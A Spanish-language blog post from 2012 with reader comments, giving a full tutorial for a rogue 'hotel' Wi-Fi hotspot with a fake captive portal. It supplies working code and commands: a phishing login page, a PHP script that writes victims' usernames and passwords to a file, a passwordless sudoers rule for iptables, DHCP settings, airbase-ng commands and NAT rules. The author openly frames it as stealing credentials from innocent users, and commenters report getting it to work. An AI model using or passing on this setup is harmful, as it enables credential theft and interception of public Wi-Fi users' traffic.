24 oct 2012

Crear un Hotspot con dudosas intenciones

En el post que nos ocupa se muestra como crear un hotspot con oscuros fines, es decir, se trata de simular, mediante software incluido en cualquier distribución de GNU/Linux, un punto de acceso protegido por contraseña. Estos puntos de acceso son utilizados por hoteles y cafeterías entre otros, de forma que solo los usuarios registrados tienen acceso a la red.

El post está estructurado en tres partes, una técnica de introducción, donde se comenta el funcionamiento, una práctica donde se configura el hotspot y una pequeña demostración, para ver como funciona.

Parte técnica:

Información de apoyo:• Iptables (general) => https://es.wikipedia.org/wiki/Netfilter/iptables• Tablas NAT Iptables => https://albertomolina.wordpress.com/2009/01/09/nat-con-iptables• Servidor Apache => https://es.wikipedia.org/wiki/Servidor_apache• Portal cautivo simple con Linux => http://castello.guifi.net/content/receta-para-montar-un-portal-cautivo-simple-con-linux

Este escenario visto desde el punto de vista de un atacante, alguien ajeno a la red e interesado en el acceso a ésta por motivos que no vienen al caso, sería interesante poder crear un punto de acceso que imitara al real permitiendo robar las credenciales de acceso del cliente a la red sin renunciar a ofrecerle una experiencia de navegación aceptable.

Para realizar la tarea propuesta, los únicos requisitos son un servidor web Apache con php instalado, un servidor DHCP, la herramienta airbase-ng y las siempre geniales posibilidades que nos ofrece Iptables. Todas estas herramientas se encuentran en la distribución Backtrack 5 R3, así que no debería de haber problemas de instalación en ninguna de ellas.

Antes de pasar a la parte práctica, es necesario entender como trabajaran todos los componentes comentados antes en conjunto:

El servidor web Apache, es el encargado de almacenar las páginas, tanto la de login como el script en php asociado a ésta. Para que el "hotspot casero" funcione correctamente, es necesario que "todas" las peticiones al servidor sean redirigidas al puerto donde está ejecutándose el servidor web (uno distinto del 80), de esta tarea se encarga iptables.

Entonces, según lo comentado, cualquier visita al portal cautivo llegará a la página de login. Una vez los datos han sido rellenados y enviados se ejecuta el script en php que añade una excepción al cortafuegos con la finalidad de no redirigir, desde ese momento las conexiones procedentes IP que se ha conectado, de forma que el usuario navegara con normalidad sin apreciar que está conectado una red poco confiable, como antes, de esto se encarga una regla de Iptables.

Respecto a la parte de la señal del hotspot, se utiliza como en otras ocasiones airbase-ng (utilidad perteneciente a la suite Aircrack-ng) para crear el punto de acceso. A esta herramienta le acompaña el servidor dhcp para que los usuarios tengan IP y unas reglas de iptables para permitir el acceso a la red.

Teniendo claros estos conceptos, ya es posible pasar a la parte de implementación o parte práctica.

Parte práctica:

El primer paso es crear la página básica de login. Si se intentase suplantar la de un hotel o similar se copiaría su contenido y modificaría el formulario de acceso.

#fichero index.html

<html><head></head><body><form action="log.php" method="post">Usuario:<input type="text" name="user" size="20" maxlength="20" /><br />Password:<input type="password" name="contra" size="10" maxlength="10" /><br /><input type="submit" value="Ingresar" /></form></body></html>

El script log.php asociado:

#fichero log.php<?php $f = fopen("datos", "a"); $usuario = "usuario -> " . $_POST["user"] . "\n"; fputs($f, $usuario); $pass = "password -> " . $_POST["contra"] . "\n\n-------------------------\n\n"; fputs($f, $pass); fclose($f); $ip = $_SERVER['REMOTE_ADDR']; $comando = "sudo -u root iptables -t nat -I PREROUTING -s $ip -p tcp --dport 80 -j ACCEPT"; exec($comando); header ("Location: https://www.google.com");?>

En el script tiene dos tareas. La primera es simplemente guarda los datos introducidos por el usuario en un fichero de texto en el directorio del servidor, mientras que la segunda es añadir la dirección IP del usuario al cortafuegos evitando así que sea redirigido y pueda navegar con normalidad.

Antes de continuar hay que crear el archivo datos y asignarle permisos para que se guarden en él las credenciales de "los visitantes":

touch /var/www/datoschmod 666 datos

El siguiente paso es editar un par de parámetros del servidor Apache. El primero es cambiar el puerto al que escucha el servidor (80 por defecto), mientras que el segundo cambio es añadir el directorio por defecto donde el servidor buscará las páginas (DocumentRoot):

#fichero /etc/apache2/ports.confListen 55555DocumentRoot /var/www/

Puesto que el servidor se ejecuta como usuario www-data y no puede ejecutar ordenes como root (por motivos de seguridad), le es imposible añadir reglas al cortafuegos. Para solucionar esto (hay más alternativas) de forma rápida (pero no la más segura) es posible añadir al fichero sudoers una regla para facilitar el trabajo. Para acceder a la configuración basta con escribir:

visudo

y añadir:

www-data bt=(root) NOPASSWD:/sbin/iptables

Con esto configurado ya puede ejecutarse el comando para iniciar el servicio perteneciente a Apache:

/etc/init.d/apache2 start

Con todos los cambios relativos al servidor Apache realizados se configura el servidor DHCP:

#fichero /etc/dhcp3/dhcpd.conf

authoritative;ddns-update-style none;default-lease-time 600;max-lease-time 7200;subnet 10.0.0.0 netmask 255.255.255.0{ range 10.0.0.2 10.0.0.254; option routers 10.0.0.1; option domain-name-servers 8.8.8.8;}

Ya están todos los archivos correctamente editados, en los siguientes pasos solo resta aplicar determinadas reglas de iptables y lanzar el punto de acceso junto con el DHCP.

La primera regla a introducir es la que permite redirigir toda petición al servidor (providente de la subred del punto de acceso) con destino el puerto 80 al puerto 55555:iptables -t nat -A PREROUTING -s 10.0.0.0/24 -p tcp --dport 80 -j REDIRECT --to-ports 55555

Respecto al punto de acceso, los comandos ya son de sobra conocidos. El primer paso es poner la tarjeta en modo monitor, para ello:

airmon-ng wlan1 start

A continuación crear el punto de acceso de nombre "hotel":

airbase-ng -P -C 30 -c 6 -e hotel mon0

Activar la interfaz del AP y lanzar el servidor DHCP:

ifconfig at0 up 10.0.0.1 netmask 255.255.255.0dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

Habilitar IP forwarding:

echo 1 >/proc/sys/net/ipv4/ip_forward

Y por último mediante iptables redirigir el tráfico de los clientes del AP al equipo para que tengan acceso a Internet.

iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADEiptables -A INPUT -s 10.0.0.0/24 -i at0 -j ACCEPTiptables -A OUTPUT -d 10.0.0.0/24 -o at0 -j ACCEPT

Con todo este laborioso trabajo ya está listo el "hotspot casero" que permite que usuarios inocentes se conecten a un punto de acceso que ellos creen seguros, permitiendo ser víctimas del robo de credenciales, o con algunas pequeñas modificaciones, ataques como dns-spoofing y similares.

Como se ha comentado, no es la configuración idónea, pero es un "apaño" que permite que funcione correctamente y ver el alcance de este tipo de ataques.

[+] Demostración:

El hotspot funciona con iptables, concretamente con las tablas NAT y este es su estado inicial, una vez está configurado el portal:

iptables -t nat -L -n

Se observa una entrada que redirige las peticiones pertenecientes al protocolo tcp del puerto 80 al 55555.

Cuando un usuario intenta acceder a una de sus páginas se encuentra con la página de inicio del servidor:

 

Cuando se registre un usuario se observa la aparición de una nueva entrada que elimina la redirección para la ip 10.0.0.103:

Y también se observa el archivo "datos" con las credenciales almacenadas:

En fin, si habéis tenido aguante para llegar hasta aquí, nos leemos en breve ;)

Aetsu

17 comentarios:

  1. Genial tutorial, gracias por compartir tu trabajo con nosotros

    ResponderEliminar
  2. De nada, todo sea por aportar a la comunidad ;)

    ResponderEliminar
  3. Ten en cuenta que es "airmon-ng start wlan1", y no "airmon-ng wlan1 start" xD.Felicidades por tu artículo!

    ResponderEliminar
  4. Cierto, gracias por la corrección ;)

    ResponderEliminar
  5. Saludos, ya lo estoy probando en otra computadora ya se conecta a mi punto de acceso falso pero al abrir el navegador y poner google no funciona sale q no existe la página xfavor si me podrías ayudar d alguna manera gracias

    ResponderEliminar
  6. La maquina que crea el punto tiene que estar conectada a internet, ten eso en cuenta. Sobre lo otro, has hecho todos los pasos? configurado el dhcp? iptables?

    ResponderEliminar
  7. Es normal q salga este errror?Can't create PID file /var/run/dhcpd.pid: Permission denied.

    ResponderEliminar
  8. Durante la configuración del dhcp si te fijas en las capturas a mi también me salio y funciona perfectamente.

    ResponderEliminar
  9. en esta sección: option domain-name-servers 8.8.8.8; puede ir la ip que le asigne en la interface at0 es decir la 10.0.0.1??

    ResponderEliminar
  10. En esa linea especificas el servidor dns, en mi caso 8.8.8.8 que es el de google, si la IP 10.0.0.1 no es un servidor dns no te resolverá las direcciones.Servidor DNS => https://es.wikipedia.org/wiki/Domain_Name_System

    ResponderEliminar
  11. Disculpa q te moleste otra vez y el fiche log.php es el que se encuentra dentro del /var/www/beef/ui??? y esta diferente como lo edito? Raw Log [Refresh Log] [Clear Log]

    ResponderEliminar
  12. Saludos ya logre conectarme desde otro computador a mi ap falso el problema va aqui ahora.... lo que pasa es que despues de dar click en ingresar sale un error que log.php no fue encontrado, en que carpeta debo guardarlo xq no encuentra... gracias de antemano Saludos

    ResponderEliminar
  13. jejejejeje saludos ya me funcionooo! muchas gracias por todo! :)

    ResponderEliminar
  14. genial el tuto , pero tengo una duda , si yo quisiera hacer algo asi en windows , que tendria que hacer ? Yo he leido que con netsh se podria hacer , pero no me funciona ... alguna idea ?

    ResponderEliminar
  15. La verdad es que no tengo ni idea xD, yo siempre utilizo gnuLinux para estas cosas por la gran versatilidad que me da.

    ResponderEliminar
  16. y no hay forma de hacer eso por reverse proxy de apache ??? ps es decir , alguna alternativa para no usar iptables ?

    ResponderEliminar